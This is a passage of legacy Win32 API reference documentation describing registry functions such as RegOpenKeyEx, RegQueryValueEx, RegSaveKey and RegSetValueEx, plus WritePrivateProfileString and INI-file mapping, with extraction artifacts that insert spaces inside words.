The RegOpenKey f unct i on uses t he def aul t secur i t y access mask t o open a key. I f
openi ng t he key r equi r es a di f f er ent mask, t he f unct i on f ai l s, r et ur ni ng
ERROR_ACCESS_DENI ED. An appl i cat i on shoul d use t he RegOpenKeyEx f unct i on t o
speci f y an access mask i n t hi s si t uat i on.


Unl i ke t he RegCr eat eKey f unct i on, RegOpenKey does not cr eat e t he speci f i ed key
i f t he key does not exi st i n t he dat abase.

See Al so

RegCl oseKey, RegCr eat eKey, RegCr eat eKeyEx, RegDel et eKey

RegOpenKeyEx

The RegOpenKeyEx f unct i on opens t he speci f i ed key.

LONG RegOpenKeyEx(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
DWORD ul Opt i ons, / / r eser ved
REGSAM samDesi r ed, / / secur i t y access mask
PHKEY phkResul t / / addr ess of handl e of open key
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey t o open. I f
t hi s par amet er i s NULL or a poi nt er t o an empt y st r i ng, t he f unct i on wi l l open a
new handl e of t he key i dent i f i ed by t he hKey par amet er . I n t hi s case, t he
f unct i on wi l l not cl ose t he handl es pr evi ousl y opened.


ul Opt i ons

Reser ved; must be zer o.

samDesi r ed

Speci f i es an access mask t hat descr i bes t he desi r ed secur i t y access f or t he new
key. Thi s par amet er can be a combi nat i on of t he f ol l owi ng val ues:

KEY_ALL_ACCESS
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTI FY,
KEY_CREATE_SUB_KEY, KEY_CREATE_LI NK, and KEY_SET_VALUE access.

KEY_CREATE_LI NK
Per mi ssi on t o cr eat e a symbol i c l i nk.

KEY_CREATE_SUB_KEY
Per mi ssi on t o cr eat e subkeys.


KEY_ENUMERATE_SUB_KEYS
Per mi ssi on t o enumer at e subkeys.

KEY_EXECUTE
Per mi ssi on f or r ead access.

KEY_NOTI FY
Per mi ssi on f or change not i f i cat i on.

KEY_QUERY_VALUE
Per mi ssi on t o quer y subkey dat a.

KEY_READ
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTI FY access.

KEY_SET_VALUE
Per mi ssi on t o set subkey dat a.

KEY_WRI TE
Combi nat i on of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.

phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

Unl i ke t he RegCr eat eKeyEx f unct i on, t he RegOpenKeyEx f unct i on does not cr eat e
t he speci f i ed key i f t he key does not exi st i n t he r egi st r y.


See Al so

RegCl oseKey, RegCr eat eKeyEx, RegDel et eKey, RegOpenKey


RegQueryValue

The RegQuer yVal ue f unct i on r et r i eves t he val ue associ at ed wi t h t he unnamed val ue
f or a speci f i ed key i n t he r egi st r y. Val ues i n t he r egi st r y have name, t ype, and
dat a component s. Thi s f unct i on r et r i eves t he dat a f or a key' s f i r st val ue t hat
has a NULL name. Thi s f unct i on i s pr ovi ded f or compat i bi l i t y wi t h Wi ndows
ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he RegQuer yVal ueEx f unct i on.

LONG RegQuer yVal ue(

HKEY hKey, / / handl e of key t o quer y
LPCTSTR l pSubKey, / / addr ess of name of subkey t o quer y
LPTSTR l pVal ue, / / addr ess of buf f er f or r et ur ned st r i ng
PLONG l pcbVal ue / / addr ess of buf f er f or si ze of r et ur ned st r i ng
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey of t he hKey
par amet er f or whi ch a val ue i s t o be r et r i eved. I f t hi s par amet er i s NULL or
poi nt s t o an empt y st r i ng, t he f unct i on r et r i eves t he val ue set by t he
RegSet Val ue f unct i on f or t he key i dent i f i ed by hKey.

l pVal ue

Poi nt s t o a buf f er t hat r ecei ves t he val ue associ at ed wi t h t he l pSubKey
par amet er . The buf f er shoul d be bi g enough t o cont ai n t he t er mi nat i ng nul l
char act er . Thi s par amet er can be NULL i f t he dat a i s not r equi r ed.

I f l pVal ue i s NULL, and l pcbVal ue i s not NULL, t he f unct i on pl aces t he si ze i n
byt es of t he dat a r ef er enced by t he val ue key, i ncl udi ng t he t er mi nat i ng nul l
char act er , i nt o t he var i abl e poi nt ed t o by l pcbVal ue. Thi s l et s an appl i cat i on
det er mi ne how t o best pr eal l ocat e a buf f er f or t he val ue key' s dat a.

l pcbVal ue

Poi nt s t o a var i abl e speci f yi ng t he si ze, i n byt es, of t he buf f er poi nt ed t o by
t he l pVal ue par amet er . When t he f unct i on r et ur ns, t hi s var i abl e cont ai ns t he
si ze of t he dat a copi ed t o l pVal ue, i ncl udi ng t he t er mi nat i ng nul l char act er .

I f t he buf f er speci f i ed by l pVal ue par amet er i s not l ar ge enough t o hol d t he
dat a, t he f unct i on r et ur ns t he val ue ERROR_MORE_DATA, and st or es t he r equi r ed
buf f er si ze, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbVal ue.

I f l pVal ue i s NULL, t he f unct i on r et ur ns ERROR_SUCCESS, and st or es t he si ze of
t he st r i ng, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbVal ue. Thi s l et s an
appl i cat i on det er mi ne t he best way t o al l ocat e a buf f er f or t he val ue key' s
dat a.

I n al l cases t he val ue r et ur ned i n l pcbVal ue al ways i ncl udes t he si ze of t he
t er mi nat i ng nul l char act er i n t he st r i ng.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_QUERY_VALUE access ( KEY_READ access i ncl udes KEY_QUERY_VALUE access) .

I f t he ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng
RegQuer yVal ue or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) ,
t hi s f unct i on conver t s t he st or ed Uni code st r i ng t o an ANSI st r i ng bef or e
copyi ng i t t o t he buf f er speci f i ed by t he l pVal ue par amet er .

See Al so

RegEnumKey, RegEnumKeyEx, RegEnumVal ue, RegQuer yI nf oKey, RegQuer yVal ueEx,
RegSet Val ue, RegSet Val ueEx

RegQueryValueEx



The RegQuer yVal ueEx f unct i on r et r i eves t he t ype and dat a f or a speci f i ed val ue
name associ at ed wi t h an open r egi st r y key.



LONG RegQuer yVal ueEx(

HKEY hKey, / / handl e of key t o quer y
LPTSTR l pVal ueName, / / addr ess of name of val ue t o quer y
LPDWORD l pReser ved, / / r eser ved
LPDWORD l pType, / / addr ess of buf f er f or val ue t ype
LPBYTE l pDat a, / / addr ess of dat a buf f er
LPDWORD l pcbDat a / / addr ess of dat a buf f er si ze
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER

HKEY_LOCAL_MACHI NE
HKEY_USERS

l pVal ueName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he val ue t o be
quer i ed.

l pReser ved

Reser ved; must be NULL.

l pType

Poi nt s t o a var i abl e t hat r ecei ves t he key' s val ue t ype. The val ue r et ur ned
t hr ough t hi s par amet er wi l l be one of t he f ol l owi ng:

REG_BI NARY
Bi nar y dat a i n any f or m.

REG_DWORD
A 32- bi t number .

REG_DWORD_LI TTLE_ENDI AN
A 32- bi t number i n l i t t l e- endi an f or mat ( same as REG_DWORD) . I n l i t t l e- endi an
f or mat , t he most si gni f i cant byt e of a wor d i s t he hi gh- or der byt e. Thi s i s t he
most common f or mat f or comput er s r unni ng Wi ndows NT and Wi ndows 95.


REG_DWORD_BI G_ENDI AN
A 32- bi t number i n bi g- endi an f or mat . I n bi g- endi an f or mat , t he most si gni f i cant
byt e of a wor d i s t he l ow- or der byt e.

REG_EXPAND_SZ
A nul l - t er mi nat ed st r i ng t hat cont ai ns unexpanded r ef er ences t o envi r onment
var i abl es ( f or exampl e, " %PATH%" ) . I t wi l l be a Uni code or ANSI st r i ng dependi ng
on whet her you use t he Uni code or ANSI f unct i ons.

REG_LI NK
A Uni code symbol i c l i nk.

REG_MULTI _SZ
An ar r ay of nul l - t er mi nat ed st r i ngs, t er mi nat ed by t wo nul l char act er s.


REG_NONE
No def i ned val ue t ype.

REG_RESOURCE_LI ST
A devi ce- dr i ver r esour ce l i st .

REG_SZ
A nul l - t er mi nat ed st r i ng. I t wi l l be a Uni code or ANSI st r i ng dependi ng on
whet her you use t he Uni code or ANSI f unct i ons.


The l pType par amet er can be NULL i f t he t ype i s not r equi r ed.

l pDat a

Poi nt s t o a buf f er t hat r ecei ves t he val ue' s dat a. Thi s par amet er can be NULL i f
t he dat a i s not r equi r ed.

l pcbDat a

Poi nt s t o a var i abl e t hat speci f i es t he si ze, i n byt es, of t he buf f er poi nt ed t o
by t he l pDat a par amet er . When t he f unct i on r et ur ns, t hi s var i abl e cont ai ns t he
si ze of t he dat a copi ed t o l pDat a.


I f t he buf f er speci f i ed by l pDat a par amet er i s not l ar ge enough t o hol d t he
dat a, t he f unct i on r et ur ns t he val ue ERROR_MORE_DATA, and st or es t he r equi r ed
buf f er si ze, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbDat a.

I f l pDat a i s NULL, and l pcbDat a i s non- NULL, t he f unct i on r et ur ns ERROR_SUCCESS,
and st or es t he si ze of t he dat a, i n byt es, i n t he var i abl e poi nt ed t o by
l pcbDat a. Thi s l et s an appl i cat i on det er mi ne t he best way t o al l ocat e a buf f er
f or t he val ue key' s dat a.


I f t he dat a has t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype, t hen l pDat a wi l l
al so i ncl ude t he si ze of t he t er mi nat i ng nul l char act er .

The l pcbDat a par amet er can be NULL onl y i f l pDat a i s NULL.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .


Remar ks

The key i dent i f i ed by hKey must have been opened wi t h KEY_QUERY_VALUE access. To
open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx f unct i on.

Thi s f unct i on does not expand t he envi r onment - var i abl e names i n t he val ue dat a
when t he val ue t ype i s REG_EXPAND_SZ. The ExpandEnvi r onment St r i ngs f unct i on can
be used t o expand t he envi r onment - var i abl e names.

I f t he val ue dat a has t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype, and t he
ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng
RegQuer yVal ueEx or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) ,
t hi s f unct i on conver t s t he st or ed Uni code st r i ng t o an ANSI st r i ng bef or e
copyi ng i t t o t he buf f er poi nt ed t o by l pDat a.


When cal l i ng t he RegQuer yVal ueEx f unct i on wi t h hKey set t o t he
HKEY_PERFORMANCE_DATA handl e and a val ue st r i ng of a speci f i ed obj ect , t he
r et ur ned dat a st r uct ur e somet i mes has unr equest ed obj ect s. Don' t be sur pr i sed;
t hi s i s nor mal behavi or . When cal l i ng t he RegQuer yVal ueEx f unct i on, you shoul d
al ways expect t o wal k t he r et ur ned dat a st r uct ur e t o l ook f or t he r equest ed
obj ect .

See Al so

ExpandEnvi r onment St r i ngs, RegCr eat eKeyEx, RegEnumKey, RegEnumKeyEx,
RegEnumVal ue, RegOpenKeyEx


RegSaveKey


The RegSaveKey f unct i on saves t he speci f i ed key and al l of i t s subkeys and
val ues t o a new f i l e.


LONG RegSaveKey(

HKEY hKey, / / handl e of key wher e save begi ns
LPCTSTR l pFi l e, / / addr ess of f i l ename t o save t o
LPSECURI TY_ATTRI BUTES l pSecur i t yAt t r i but es / / addr ess of secur i t y st r uct ur e
) ;

Par amet er s

hKey

Speci f i es a handl e of t he key wher e t he save oper at i on i s t o begi n, or any of
t he f ol l owi ng pr edef i ned r eser ved handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pFi l e

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he f i l e i n whi ch t he
speci f i ed key and subkeys ar e saved.


I f t hi s f i l ename i ncl udes an ext ensi on, i t cannot be used on f i l e al l ocat i on
t abl e ( FAT) f i l e syst ems by t he RegLoadKey, RegRepl aceKey, or RegRest or eKey
f unct i on.

Wi ndows NT: I f t he f i l e al r eady exi st s, t he f unct i on f ai l s wi t h t he
ERROR_ALREADY_EXI STS er r or .

Wi ndows 95: I f t he f i l e al r eady exi st s, t he f unct i on f ai l s wi t h t he
ERROR_REGI STRY_I O_FAI LED er r or .

Wi ndows NT: I f t he st r i ng does not i ncl ude a pat h, t he f i l e i s cr eat ed i n t he
cur r ent di r ect or y of t he cal l i ng pr ocess f or a l ocal key, or i n t he
%syst emr oot %\ syst em32 di r ect or y f or a r emot e key.


Wi ndows 95: I f t he st r i ng does not i ncl ude a pat h, t he f i l e i s cr eat ed i n t he
Wi ndows r oot di r ect or y f or l ocal and r emot e keys. See Get Wi ndowsDi r ect or y.

l pSecur i t yAt t r i but es

Wi ndows NT: Poi nt er t o a SECURI TY_ATTRI BUTES st r uct ur e t hat speci f i es a secur i t y
descr i pt or f or t he new f i l e. I f l pSecur i t yAt t r i but es i s NULL, t he f i l e get s a
def aul t secur i t y descr i pt or .

Wi ndows 95: Thi s par amet er i s i gnor ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f hKey r epr esent s a key on a r emot e comput er , t he pat h descr i bed by l pFi l e i s
r el at i ve t o t he r emot e comput er .

The RegSaveKey f unct i on saves onl y nonvol at i l e keys. I t does not save vol at i l e
keys. A key i s made vol at i l e or nonvol at i l e at i t s cr eat i on; see RegCr eat eKeyEx.


Wi ndows 95: The new f i l e has t he ar chi ve, hi dden, r eadonl y, and syst em
at t r i but es.

Wi ndows NT: The new f i l e has t he ar chi ve at t r i but e.

Wi ndows NT: The cal l i ng pr ocess must have t he SE_BACKUP_NAME pr i vi l ege. For mor e
i nf or mat i on about pr i vi l eges, see Pr i vi l eges.

Wi ndows 95: Secur i t y pr i vi l eges ar e not suppor t ed or r equi r ed.

See Al so

RegCr eat eKeyEx, RegDel et eKey, RegLoadKey, RegRepl aceKey

RegSetValueEx

The RegSet Val ueEx f unct i on st or es dat a i n t he val ue f i el d of an open r egi st r y
key. I t can al so set addi t i onal val ue and t ype i nf or mat i on f or t he speci f i ed
key.

LONG RegSet Val ueEx(

HKEY hKey, / / handl e of key t o set val ue f or
LPCTSTR l pVal ueName, / / addr ess of val ue t o set
DWORD Reser ved, / / r eser ved
DWORD dwType, / / f l ag f or val ue t ype
CONST BYTE *l pDat a, / / addr ess of val ue dat a
DWORD cbDat a / / si ze of val ue dat a
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE

HKEY_USERS

l pVal ueName

Poi nt s t o a st r i ng cont ai ni ng t he name of t he val ue t o set . I f a val ue wi t h t hi s
name i s not al r eady pr esent i n t he key, t he f unct i on adds i t t o t he key.

I f t hi s par amet er i s NULL or poi nt s t o an empt y st r i ng and t he dwType par amet er
i s t he REG_SZ t ype, t hi s f unct i on set s t he same val ue t he RegSet Val ue f unct i on
woul d set .

Reser ved

Reser ved; must be zer o.

dwType

Speci f i es t he t ype of i nf or mat i on t o be st or ed as t he val ue' s dat a. Thi s
par amet er can be one of t he f ol l owi ng val ues:

REG_BI NARY
Bi nar y dat a i n any f or m.

REG_DWORD
A 32- bi t number .

REG_DWORD_LI TTLE_ENDI AN
A 32- bi t number i n l i t t l e- endi an f or mat ( same as REG_DWORD) . I n l i t t l e- endi an
f or mat , t he most si gni f i cant byt e of a wor d i s t he hi gh- or der byt e. Thi s i s t he
most common f or mat f or comput er s r unni ng Wi ndows NT and Wi ndows 95.

REG_DWORD_BI G_ENDI AN
A 32- bi t number i n bi g- endi an f or mat . I n bi g- endi an f or mat , t he most si gni f i cant
byt e of a wor d i s t he l ow- or der byt e.

REG_EXPAND_SZ
A nul l - t er mi nat ed st r i ng t hat cont ai ns unexpanded r ef er ences t o envi r onment
var i abl es ( f or exampl e, " %PATH%" ) . I t wi l l be a Uni code or ANSI st r i ng dependi ng
on whet her you use t he Uni code or ANSI f unct i ons.

REG_LI NK
A Uni code symbol i c l i nk.

REG_MULTI _SZ
An ar r ay of nul l - t er mi nat ed st r i ngs, t er mi nat ed by t wo nul l char act er s.

REG_NONE
No def i ned val ue t ype.

REG_RESOURCE_LI ST
A devi ce- dr i ver r esour ce l i st .

REG_SZ
A nul l - t er mi nat ed st r i ng. I t wi l l be a Uni code or ANSI st r i ng dependi ng on
whet her you use t he Uni code or ANSI f unct i ons.



l pDat a

Poi nt s t o a buf f er cont ai ni ng t he dat a t o be st or ed wi t h t he speci f i ed val ue
name.

cbDat a

Speci f i es t he si ze, i n byt es, of t he i nf or mat i on poi nt ed t o by t he l pDat a
par amet er . I f t he dat a i s of t ype REG_SZ, REG_EXPAND_SZ, or REG_MULTI _SZ, cbDat a
must i ncl ude t he si ze of t he t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

Val ue l engt hs ar e l i mi t ed by avai l abl e memor y. Long val ues ( mor e t han 2048
byt es) shoul d be st or ed as f i l es wi t h t he f i l enames st or ed i n t he r egi st r y. Thi s
hel ps t he r egi st r y per f or mef f i ci ent l y. Appl i cat i on el ement s such as i cons,
bi t maps, and execut abl e f i l es shoul d be st or ed as f i l es and not be pl aced i n t he
r egi st r y.

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access. To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx
f unct i on.

I f dwType i s t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype and t he ANSI ver si on
of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng RegSet Val ueEx or by not
def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) , t he dat a poi nt ed t o by
t he l pDat a par amet er must be an ANSI char act er st r i ng. The st r i ng i s conver t ed
t o Uni code bef or e i t i s st or ed i n t he r egi st r y.

See Al so

RegCr eat eKeyEx, RegFl ushKey, RegOpenKeyEx, RegQuer yVal ue


RegSetValue



The RegSet Val ue f unct i on associ at es a val ue wi t h a speci f i ed key. Thi s val ue
must be a t ext st r i ng and cannot have a name. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegSet Val ueEx f unct i on, whi ch al l ows an appl i cat i on t o set any number of named
val ues of any dat a t ype.



LONG RegSet Val ue(

HKEY hKey, / / handl e of key t o set val ue f or
LPCTSTR l pSubKey, / / addr ess of subkey name
DWORD dwType, / / t ype of val ue
LPCTSTR l pDat a, / / addr ess of val ue dat a
DWORD cbDat a / / si ze of val ue dat a
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey wi t h whi ch
a val ue i s associ at ed. Thi s par amet er can be nul l or a poi nt er t o an empt y
st r i ng. I n t hi s case, t he val ue wi l l be added t o t he key i dent i f i ed by t he hKey
par amet er .


dwType

Speci f i es t he t ype of i nf or mat i on t o be st or ed. Thi s par amet er must be t he
REG_SZ t ype. To st or e ot her dat a t ypes, use t he RegSet Val ueEx f unct i on.

l pDat a

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he val ue t o set f or t he speci f i ed
key.

cbDat a

Speci f i es t he l engt h, i n byt es, of t he st r i ng poi nt ed t o by t he l pDat a
par amet er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f t he key speci f i ed by t he l pSubKey par amet er does not exi st , t he RegSet Val ue
f unct i on cr eat es i t .

Val ue l engt hs ar e l i mi t ed by avai l abl e memor y. Long val ues ( mor e t han 2048
byt es) shoul d be st or ed as f i l es wi t h t he f i l enames st or ed i n t he r egi st r y. Thi s
hel ps t he r egi st r y per f or mef f i ci ent l y.


The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access. To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx
f unct i on. I f t he ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y
cal l i ng RegSet Val ue or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H
f i l e) , t he l pDat a par amet er must be an ANSI char act er st r i ng. The st r i ng i s
conver t ed t o Uni code bef or e i t i s st or ed i n t he r egi st r y.

See Al so

RegCr eat eKeyEx, RegFl ushKey, RegOpenKeyEx, RegQuer yVal ue


WritePrivateProfileString


The Wr i t ePr i vat ePr of i l eSt r i ng f unct i on copi es a st r i ng i nt o t he speci f i ed
sect i on of t he speci f i ed i ni t i al i zat i on f i l e.



Thi s f unct i on i s pr ovi ded f or compat i bi l i t y wi t h 16- bi t Wi ndows- based
appl i cat i ons. WI n32- based appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on
i n t he r egi st r y.



BOOL Wr i t ePr i vat ePr of i l eSt r i ng(

LPCTSTR l pAppName, / / poi nt er t o sect i on name
LPCTSTR l pKeyName, / / poi nt er t o key name
LPCTSTR l pSt r i ng, / / poi nt er t o st r i ng t o add
LPCTSTR l pFi l eName / / poi nt er t o i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he sect i on t o whi ch
t he st r i ng wi l l be copi ed. I f t he sect i on does not exi st , i t i s cr eat ed. The
name of t he sect i on i s case- i ndependent ; t he st r i ng can be any combi nat i on of
upper case and l ower case l et t er s.


l pKeyName

Poi nt s t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he key t o be
associ at ed wi t h a st r i ng. I f t he key does not exi st i n t he speci f i ed sect i on, i t
i s cr eat ed. I f t hi s par amet er i s NULL, t he ent i r e sect i on, i ncl udi ng al l ent r i es
wi t hi n t he sect i on, i s del et ed.

l pSt r i ng

Poi nt s t o a nul l - t er mi nat ed st r i ng t o be wr i t t en t o t he f i l e. I f t hi s par amet er
i s NULL, t he key poi nt ed t o by t he l pKeyName par amet er i s del et ed.

Wi ndows 95: Thi s pl at f or mdoes not suppor t t he use of t he TAB ( \ t ) char act er as
par t of t hi s par amet er .


l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e.

Ret ur n Val ues

I f t he f unct i on successf ul l y copi es t he st r i ng t o t he i ni t i al i zat i on f i l e, t he
r et ur n val ue i s nonzer o.

I f t he f unct i on f ai l s, or i f i t f l ushes t he cached ver si on of t he most r ecent l y
accessed i ni t i al i zat i on f i l e, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Wi ndows 95:

Wi ndows 95 keeps a cached ver si on of WI N. I NI t o i mpr ove per f or mance. I f al l
t hr ee par amet er s ar e NULL, t he f unct i on f l ushes t he cache. The f unct i on al ways
r et ur ns FALSE af t er f l ushi ng t he cache, r egar dl ess of whet her t he f l ush succeeds
or f ai l s.


A sect i on i n t he i ni t i al i zat i on f i l e must have t he f ol l owi ng f or m:

[ sect i on]
key=st r i ng
.
.
.

I f t he l pFi l eName par amet er does not cont ai n a f ul l pat h and f i l ename f or t he
f i l e, Wr i t ePr i vat ePr of i l eSt r i ng sear ches t he Wi ndows di r ect or y f or t he f i l e. I f
t he f i l e does not exi st , t hi s f unct i on cr eat es t he f i l e i n t he Wi ndows
di r ect or y.

I f l pFi l eName cont ai ns a f ul l pat h and f i l ename and t he f i l e does not exi st ,
Wr i t ePr of i l eSt r i ng cr eat es t he f i l e. The speci f i ed di r ect or y must al r eady exi st .


Wi ndows NT:

Wi ndows NT maps most . I NI f i l e r ef er ences t o t he r egi st r y, usi ng t he mappi ng
def i ned under t he f ol l owi ng r egi st r y key:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Wi ndows NT keeps a cache f or t he I ni Fi l eMappi ng r egi st r y key. Cal l i ng
Wr i t ePr i vat ePr of i l eSt r i ngWwi t h t he val ue of al l ar gument s set t o NULL wi l l
cause Wi ndows NT t o r ef r esh i t s cache of t he I ni Fi l eMappi ngKey f or t he speci f i ed
. I NI f i l e.

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:


1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.


4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.


6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.


@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

